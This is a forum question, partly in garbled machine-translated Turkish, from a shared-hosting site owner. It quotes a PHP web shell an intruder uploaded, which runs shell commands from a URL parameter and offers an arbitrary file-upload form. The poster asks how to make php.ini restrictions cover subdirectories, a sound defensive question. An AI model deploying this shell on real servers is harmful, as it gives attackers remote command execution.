Birkaç hafta önce benim paylaşılan sunucuda bir delik açtı ve arkadaşım aşağıdaki PHP komut dosyası yüklendi:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])){
echo '
<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';}
?>
<?php
if(isset($_REQUEST['send'])){
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;}
else
{echo "Upload failed";}
}
?>
Bu komut dosyası, onu in-URL değişkenler aracılığıyla komutları işlemeye izin verir.
Benim public_html dizinindeki php.ini dosyasında, diğer işlevleri arasında, özürlü sistemi var. Bu benim public_html dizini içerisinde bulunur eğer çalışan komut dosyasını engeller, ama bu bir alt dizine eğer bunu durmuyor. Ben bir alt dizine php.ini dosyasını kopyalayın eğer bu dizinden çalışmasını durdurmak olacaktır.
Benim soru, how do I enable my php.ini file to affect all directories/sub-directories of my server?